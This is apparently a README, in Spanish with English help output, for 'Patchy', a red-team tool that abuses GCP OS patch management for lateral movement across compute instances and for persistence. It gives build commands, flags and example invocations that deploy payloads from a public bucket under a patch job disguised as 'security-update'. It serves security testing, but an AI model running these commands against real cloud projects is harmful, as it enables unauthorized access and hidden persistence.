
Persistencia automatizada y movimiento lateral usando la gestión de parches de GCP
Movimiento lateral automatizado y persistencia aprovechando la gestión de parches del SO de GCP basado en mi entrada de blog.
Patchy consta de dos modos principales: movimiento lateral y persistencia. La persistencia utiliza credenciales válidas de cuenta de servicio para crear un trabajo o despliegue de parches. El movimiento lateral intenta obtener acceso a todas las instancias de cómputo dentro de un proyecto. Para usarlo, debe estar dentro de un entorno GCP con la API de metadatos disponible. El movimiento lateral tiene un modo que permite ver si la explotación es posible sin intentar nada agresivo (bueno para ver si su entorno es seguro).
Para sugerencias de funcionalidades, abra un issue. Si hay algún problema, cree un PR con su solución.
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
Tenga en cuenta que requiere >= go 1.19
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy is a GCP exploitation tool designed for red teaming engagements.
Based on https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Usage:
patchy [flags]
patchy [command]
Available Commands:
completion Generate the autocompletion script for the specified shell
help Help about any command
lateral Performs automatic lateral movement within a GCP environment
persist enables persistence on compute instances owned by service account
Flags:
-b, --bucket string bucket name hosting payload
-h, --help help for patchy
-l, --lpayload string name of linux shell payload (default "payload.bash")
-p, --persist enable persistence (patch deployment) (default false)
-n, --pname string name of patch deployment/job (default "security-update")
-w, --wpayload string name of windows powershell payload (default "payload.ps1")
Use "patchy [command] --help" for more information about a command.
Explotando cuentas de servicio dentro del entorno GCP local, myBucket es el nombre del bucket público que aloja los payloads:
$ ./patchy -b myBucket lat -e
Instalando persistencia usando cuenta de servicio en formato json:
$ ./patchy -b myBucket persist -c serviceAccount.json